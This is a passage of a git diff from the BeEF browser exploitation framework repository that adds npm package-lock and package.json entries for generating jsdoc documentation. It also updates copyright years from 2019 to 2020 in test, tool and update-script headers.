"https://registry.npmjs.org/jsdoc/-/jsdoc-3.6.3.tgz", + "integrity": "sha512-Yf1ZKA3r9nvtMWHO1kEuMZTlHOF8uoQ0vyo5eH7SQy5YeIiHM+B0DgKnn+X6y6KDYZcF7G2SPkKF+JORCXWE/A==", + "requires": { + "@babel/parser": "^7.4.4", + "bluebird": "^3.5.4", + "catharsis": "^0.8.11", + "escape-string-regexp": "^2.0.0", + "js2xmlparser": "^4.0.0", + "klaw": "^3.0.0", + "markdown-it": "^8.4.2", + "markdown-it-anchor": "^5.0.2", + "marked": "^0.7.0", + "mkdirp": "^0.5.1", + "requizzle": "^0.2.3", + "strip-json-comments": "^3.0.1", + "taffydb": "2.6.2", + "underscore": "~1.9.1" + } + }, + "jsdoc-api": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/jsdoc-api/-/jsdoc-api-5.0.4.tgz", + "integrity": "sha512-1KMwLnfo0FyhF06TQKzqIm8BiY1yoMIGICxRdJHUjzskaHMzHMmpLlmNFgzoa4pAC8t1CDPK5jWuQTvv1pBsEQ==", + "requires": { + "array-back": "^4.0.0", + "cache-point": "^1.0.0", + "collect-all": "^1.0.3", + "file-set": "^2.0.1", + "fs-then-native": "^2.0.0", + "jsdoc": "^3.6.3", + "object-to-spawn-args": "^1.1.1", + "temp-path": "^1.0.0", + "walk-back": "^3.0.1" + }, + "dependencies": { + "file-set": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/file-set/-/file-set-2.0.1.tgz", + "integrity": "sha512-XgOUUpgR6FbbfYcniLw0qm1Am7PnNYIAkd+eXxRt42LiYhjaso0WiuQ+VmrNdtwotyM+cLCfZ56AZrySP3QnKA==", + "requires": { + "array-back": "^2.0.0", + "glob": "^7.1.3" + }, + "dependencies": { + "array-back": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-2.0.0.tgz", + "integrity": "sha512-eJv4pLLufP3g5kcZry0j6WXpIbzYw9GUB4mVJZno9wfwiBxbizTnHCw3VJb07cBihbFX48Y7oSrW9y+gt4glyw==", + "requires": { + "typical": "^2.6.1" + } + } + } + }, + "walk-back": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/walk-back/-/walk-back-3.0.1.tgz", + "integrity": "sha512-umiNB2qLO731Sxbp6cfZ9pwURJzTnftxE4Gc7hq8n/ehkuXC//s9F65IEIJA2ZytQZ1ZOsm/Fju4IWx0bivkUQ==" + } + } + }, + "jsdoc-parse": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/jsdoc-parse/-/jsdoc-parse-4.0.1.tgz", + "integrity": "sha512-qIObw8yqYZjrP2qxWROB5eLQFLTUX2jRGLhW9hjo2CC2fQVlskidCIzjCoctwsDvauBp2a/lR31jkSleczSo8Q==", + "requires": { + "array-back": "^4.0.0", + "lodash.omit": "^4.5.0", + "lodash.pick": "^4.4.0", + "reduce-extract": "^1.0.0", + "sort-array": "^2.0.0", + "test-value": "^3.0.0" + } + }, + "klaw": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/klaw/-/klaw-3.0.0.tgz", + "integrity": "sha512-0Fo5oir+O9jnXu5EefYbVK+mHMBeEVEy2cmctR1O1NECcCkPRreJKrS6Qt/j3KC2C148Dfo9i3pCmCMsdqGr0g==", + "requires": { + "graceful-fs": "^4.1.9" + } + }, + "linkify-it": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-2.2.0.tgz", + "integrity": "sha512-GnAl/knGn+i1U/wjBz3akz2stz+HrHLsxMwHQGofCDfPvlf+gDKN58UtfmUquTY4/MXeE2x7k19KQmeoZi94Iw==", + "requires": { + "uc.micro": "^1.0.1" + } + }, + "lodash": { + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==" + }, + "lodash.camelcase": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=" + }, + "lodash.omit": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.omit/-/lodash.omit-4.5.0.tgz", + "integrity": "sha1-brGa5aHuHdnfC5aeZs4Lf6MLXmA=" + }, + "lodash.padend": { + "version": "4.6.1", + "resolved": "https://registry.npmjs.org/lodash.padend/-/lodash.padend-4.6.1.tgz", + "integrity": "sha1-U8y6BH0G4VjTEfRdpiX05J5vFm4=" + }, + "lodash.pick": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.pick/-/lodash.pick-4.4.0.tgz", + "integrity": "sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=" + }, + "markdown-it": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-8.4.2.tgz", + "integrity": "sha512-GcRz3AWTqSUphY3vsUqQSFMbgR38a4Lh3GWlHRh/7MRwz8mcu9n2IO7HOh+bXHrR9kOPDl5RNCaEsrneb+xhHQ==", + "requires": { + "argparse": "^1.0.7", + "entities": "~1.1.1", + "linkify-it": "^2.0.0", + "mdurl": "^1.0.1", + "uc.micro": "^1.0.5" + } + }, + "markdown-it-anchor": { + "version": "5.2.5", + "resolved": "https://registry.npmjs.org/markdown-it-anchor/-/markdown-it-anchor-5.2.5.tgz", + "integrity": "sha512-xLIjLQmtym3QpoY9llBgApknl7pxAcN3WDRc2d3rwpl+/YvDZHPmKscGs+L6E05xf2KrCXPBvosWt7MZukwSpQ==" + }, + "marked": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/marked/-/marked-0.7.0.tgz", + "integrity": "sha512-c+yYdCZJQrsRjTPhUx7VKkApw9bwDkNbHUKo1ovgcfDjb2kc8rLuRbIFyXL5WOEUwzSSKo3IXpph2K6DqB/KZg==" + }, + "mdurl": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz", + "integrity": "sha1-/oWy7HWlkDfyrf7BAP1sYBdhFS4=" + }, + "minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "minimist": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz", + "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=" + }, + "mkdirp": { + "version": "0.5.1", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", + "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=", + "requires": { + "minimist": "0.0.8" + } + }, + "mkdirp2": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp2/-/mkdirp2-1.0.4.tgz", + "integrity": "sha512-Q2PKB4ZR4UPtjLl76JfzlgSCUZhSV1AXQgAZa1qt5RiaALFjP/CDrGvFBrOz7Ck6McPcwMAxTsJvWOUjOU8XMw==" + }, + "neo-async": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.1.tgz", + "integrity": "sha512-iyam8fBuCUpWeKPGpaNMetEocMt364qkCsfL9JuhjXX6dRnguRVOfk2GZaDpPjcOKiiXCPINZC1GczQ7iTq3Zw==" + }, + "object-get": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/object-get/-/object-get-2.1.0.tgz", + "integrity": "sha1-ciu9tgA576R8rTxtws5RqFwCxa4=" + }, + "object-to-spawn-args": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-to-spawn-args/-/object-to-spawn-args-1.1.1.tgz", + "integrity": "sha1-d9qIJ/Bz0BHJ4bFz+JV4FHAkZ4U=" + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "requires": { + "wrappy": "1" + } + }, + "optimist": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/optimist/-/optimist-0.6.1.tgz", + "integrity": "sha1-2j6nRob6IaGaERwybpDrFaAZZoY=", + "requires": { + "minimist": "~0.0.1", + "wordwrap": "~0.0.2" + } + }, + "path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" + }, + "reduce-extract": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/reduce-extract/-/reduce-extract-1.0.0.tgz", + "integrity": "sha1-Z/I4W+2mUGG19fQxJmLosIDKFSU=", + "requires": { + "test-value": "^1.0.1" + }, + "dependencies": { + "array-back": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz", + "integrity": "sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=", + "requires": { + "typical": "^2.6.0" + } + }, + "test-value": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/test-value/-/test-value-1.1.0.tgz", + "integrity": "sha1-oJE29y7AQ9J8iTcHwrFZv6196T8=", + "requires": { + "array-back": "^1.0.2", + "typical": "^2.4.2" + } + } + } + }, + "reduce-flatten": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/reduce-flatten/-/reduce-flatten-1.0.1.tgz", + "integrity": "sha1-JYx479FT3fk8tWEjf2EYTzaW4yc=" + }, + "reduce-unique": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/reduce-unique/-/reduce-unique-2.0.1.tgz", + "integrity": "sha512-x4jH/8L1eyZGR785WY+ePtyMNhycl1N2XOLxhCbzZFaqF4AXjLzqSxa2UHgJ2ZVR/HHyPOvl1L7xRnW8ye5MdA==" + }, + "reduce-without": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/reduce-without/-/reduce-without-1.0.1.tgz", + "integrity": "sha1-aK0OrRGFXJo31OglbBW7+Hly/Iw=", + "requires": { + "test-value": "^2.0.0" + }, + "dependencies": { + "array-back": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz", + "integrity": "sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=", + "requires": { + "typical": "^2.6.0" + } + }, + "test-value": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/test-value/-/test-value-2.1.0.tgz", + "integrity": "sha1-Edpv9nDzRxpztiXKTz/c97t0gpE=", + "requires": { + "array-back": "^1.0.3", + "typical": "^2.6.0" + } + } + } + }, + "requizzle": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/requizzle/-/requizzle-0.2.3.tgz", + "integrity": "sha512-YanoyJjykPxGHii0fZP0uUPEXpvqfBDxWV7s6GKAiiOsiqhX6vHNyW3Qzdmqp/iq/ExbhaGbVrjB4ruEVSM4GQ==", + "requires": { + "lodash": "^4.17.14" + } + }, + "sort-array": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/sort-array/-/sort-array-2.0.0.tgz", + "integrity": "sha1-OKnG2if9fRR7QuYFVPKBGHtN9HI=", + "requires": { + "array-back": "^1.0.4", + "object-get": "^2.1.0", + "typical": "^2.6.0" + }, + "dependencies": { + "array-back": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz", + "integrity": "sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=", + "requires": { + "typical": "^2.6.0" + } + } + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + }, + "sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=" + }, + "stream-connect": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/stream-connect/-/stream-connect-1.0.2.tgz", + "integrity": "sha1-GLyB8u2zW4tdmoAJIAqYUxRCipc=", + "requires": { + "array-back": "^1.0.2" + }, + "dependencies": { + "array-back": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz", + "integrity": "sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=", + "requires": { + "typical": "^2.6.0" + } + } + } + }, + "stream-via": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/stream-via/-/stream-via-1.0.4.tgz", + "integrity": "sha512-DBp0lSvX5G9KGRDTkR/R+a29H+Wk2xItOF+MpZLLNDWbEV9tGPnqLPxHEYjmiz8xGtJHRIqmI+hCjmNzqoA4nQ==" + }, + "strip-json-comments": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.0.1.tgz", + "integrity": "sha512-VTyMAUfdm047mwKl+u79WIdrZxtFtn+nBxHeb844XBQ9uMNTuTHdx2hc5RiAJYqwTj3wc/xe5HLSdJSkJ+WfZw==" + }, + "table-layout": { + "version": "0.4.5", + "resolved": "https://registry.npmjs.org/table-layout/-/table-layout-0.4.5.tgz", + "integrity": "sha512-zTvf0mcggrGeTe/2jJ6ECkJHAQPIYEwDoqsiqBjI24mvRmQbInK5jq33fyypaCBxX08hMkfmdOqj6haT33EqWw==", + "requires": { + "array-back": "^2.0.0", + "deep-extend": "~0.6.0", + "lodash.padend": "^4.6.1", + "typical": "^2.6.1", + "wordwrapjs": "^3.0.0" + }, + "dependencies": { + "array-back": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-2.0.0.tgz", + "integrity": "sha512-eJv4pLLufP3g5kcZry0j6WXpIbzYw9GUB4mVJZno9wfwiBxbizTnHCw3VJb07cBihbFX48Y7oSrW9y+gt4glyw==", + "requires": { + "typical": "^2.6.1" + } + } + } + }, + "taffydb": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/taffydb/-/taffydb-2.6.2.tgz", + "integrity": "sha1-fLy2S1oUG2ou/CxdLGe04VCyomg=" + }, + "temp-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/temp-path/-/temp-path-1.0.0.tgz", + "integrity": "sha1-JLFUOXOrRCiW2a02fdnL2/r+kYs=" + }, + "test-value": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/test-value/-/test-value-3.0.0.tgz", + "integrity": "sha512-sVACdAWcZkSU9x7AOmJo5TqE+GyNJknHaHsMrR6ZnhjVlVN9Yx6FjHrsKZ3BjIpPCT68zYesPWkakrNupwfOTQ==", + "requires": { + "array-back": "^2.0.0", + "typical": "^2.6.1" + }, + "dependencies": { + "array-back": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-2.0.0.tgz", + "integrity": "sha512-eJv4pLLufP3g5kcZry0j6WXpIbzYw9GUB4mVJZno9wfwiBxbizTnHCw3VJb07cBihbFX48Y7oSrW9y+gt4glyw==", + "requires": { + "typical": "^2.6.1" + } + } + } + }, + "typical": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/typical/-/typical-2.6.1.tgz", + "integrity": "sha1-XAgOXWYcu+OCWdLnCjxyU+hziB0=" + }, + "uc.micro": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/uc.micro/-/uc.micro-1.0.6.tgz", + "integrity": "sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==" + }, + "uglify-js": { + "version": "3.7.3", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.7.3.tgz", + "integrity": "sha512-7tINm46/3puUA4hCkKYo4Xdts+JDaVC9ZPRcG8Xw9R4nhO/gZgUM3TENq8IF4Vatk8qCig4MzP/c8G4u2BkVQg==", + "requires": { + "commander": "~2.20.3", + "source-map": "~0.6.1" + } + }, + "underscore": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.9.1.tgz", + "integrity": "sha512-5/4etnCkd9c8gwgowi5/om/mYO5ajCaOgdzj/oW+0eQV9WxKBDZw5+ycmKmeaTXjInS/W0BzpGLo2xR2aBwZdg==" + }, + "walk-back": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/walk-back/-/walk-back-4.0.0.tgz", + "integrity": "sha512-kudCA8PXVQfrqv2mFTG72vDBRi8BKWxGgFLwPpzHcpZnSwZk93WMwUDVcLHWNsnm+Y0AC4Vb6MUNRgaHfyV2DQ==" + }, + "wordwrap": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-0.0.3.tgz", + "integrity": "sha1-o9XabNXAvAAI03I0u68b7WMFkQc=" + }, + "wordwrapjs": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/wordwrapjs/-/wordwrapjs-3.0.0.tgz", + "integrity": "sha512-mO8XtqyPvykVCsrwj5MlOVWvSnCdT+C+QVbm6blradR7JExAhbkZ7hZ9A+9NUtwzSqrlUo9a67ws0EiILrvRpw==", + "requires": { + "reduce-flatten": "^1.0.1", + "typical": "^2.6.1" + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "xmlcreate": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/xmlcreate/-/xmlcreate-2.0.1.tgz", + "integrity": "sha512-MjGsXhKG8YjTKrDCXseFo3ClbMGvUD4en29H2Cev1dv4P/chlpw6KdYmlCWDkhosBVKRDjM836+3e3pm1cBNJA==" + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 000000000..aa6192786 --- /dev/null +++ b/package.json @@ -0,0 +1,15 @@ +{ + "name": "BeEF", + "version": "0.4.7.4-alpha-pre", + "description": "The Browser Exploitation Framework Project", + "scripts": { + "docs": "./node_modules/.bin/jsdoc -c conf.json" + }, + "author": "Wade Alcorn", + "license": "GNU General Public License v2.0", + "devDependencies": { + "jsdoc": "^3.6.3", + "jsdoc-to-markdown": "^5.0.3" + }, + "dependencies": {} +} diff --git a/spec/support/beef_test.rb b/spec/support/beef_test.rb index be752c8da..2b8b7c38d 100644 --- a/spec/support/beef_test.rb +++ b/spec/support/beef_test.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/spec/support/constants.rb b/spec/support/constants.rb index 044e7ff01..d8ab5913c 100644 --- a/spec/support/constants.rb +++ b/spec/support/constants.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/integration/check_environment.rb b/test/integration/check_environment.rb index e7637acc3..a9cf17c27 100644 --- a/test/integration/check_environment.rb +++ b/test/integration/check_environment.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/integration/tc_debug_modules.rb b/test/integration/tc_debug_modules.rb index fb1338b9e..f41124609 100644 --- a/test/integration/tc_debug_modules.rb +++ b/test/integration/tc_debug_modules.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/integration/tc_dns_rest.rb b/test/integration/tc_dns_rest.rb index 330a25822..e1c4d1b9f 100644 --- a/test/integration/tc_dns_rest.rb +++ b/test/integration/tc_dns_rest.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/integration/tc_jools.rb b/test/integration/tc_jools.rb index 7a92809be..0772aa92d 100644 --- a/test/integration/tc_jools.rb +++ b/test/integration/tc_jools.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/integration/tc_login.rb b/test/integration/tc_login.rb index 15b99297c..4156559b5 100644 --- a/test/integration/tc_login.rb +++ b/test/integration/tc_login.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/integration/tc_network_rest.rb b/test/integration/tc_network_rest.rb index a72645c1e..aa41dff7e 100644 --- a/test/integration/tc_network_rest.rb +++ b/test/integration/tc_network_rest.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/integration/tc_proxy.rb b/test/integration/tc_proxy.rb index 79710afba..56d7cc4c1 100644 --- a/test/integration/tc_proxy.rb +++ b/test/integration/tc_proxy.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/integration/tc_social_engineering_rest.rb b/test/integration/tc_social_engineering_rest.rb index 306e80663..13804cf72 100644 --- a/test/integration/tc_social_engineering_rest.rb +++ b/test/integration/tc_social_engineering_rest.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/integration/tc_webrtc_rest.rb b/test/integration/tc_webrtc_rest.rb index a7302bfa8..f812f0bf2 100644 --- a/test/integration/tc_webrtc_rest.rb +++ b/test/integration/tc_webrtc_rest.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/integration/ts_integration.rb b/test/integration/ts_integration.rb index 0f9939ee4..90cd72255 100644 --- a/test/integration/ts_integration.rb +++ b/test/integration/ts_integration.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/thirdparty/msf/unit/check_environment.rb b/test/thirdparty/msf/unit/check_environment.rb index e7637acc3..a9cf17c27 100644 --- a/test/thirdparty/msf/unit/check_environment.rb +++ b/test/thirdparty/msf/unit/check_environment.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/thirdparty/msf/unit/tc_metasploit.rb b/test/thirdparty/msf/unit/tc_metasploit.rb index e0709fb85..b4d2ca4e3 100644 --- a/test/thirdparty/msf/unit/tc_metasploit.rb +++ b/test/thirdparty/msf/unit/tc_metasploit.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/test/thirdparty/msf/unit/ts_metasploit.rb b/test/thirdparty/msf/unit/ts_metasploit.rb index e79bafbbc..c8aadfea3 100644 --- a/test/thirdparty/msf/unit/ts_metasploit.rb +++ b/test/thirdparty/msf/unit/ts_metasploit.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/tools/csrf_to_beef/lib/module.rb b/tools/csrf_to_beef/lib/module.rb index 3b0a3ec67..d4db5a0e4 100644 --- a/tools/csrf_to_beef/lib/module.rb +++ b/tools/csrf_to_beef/lib/module.rb @@ -5,7 +5,7 @@ class ConfigFile def generate(class_name) return <<-EOF # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # @@ -34,7 +34,7 @@ class ModuleFile end return <<-EOF # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # @@ -67,7 +67,7 @@ class CommandFile end return <<-EOF // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/update-beef b/update-beef index 3bfb25c00..733e3e56a 100755 --- a/update-beef +++ b/update-beef @@ -1,6 +1,6 @@ #!/bin/bash # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/update-geoipdb b/update-geoipdb index 250488ff7..c1ac2ef5b 100755 --- a/update-geoipdb +++ b/update-geoipdb @@ -1,6 +1,6 @@ #!/bin/bash # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission #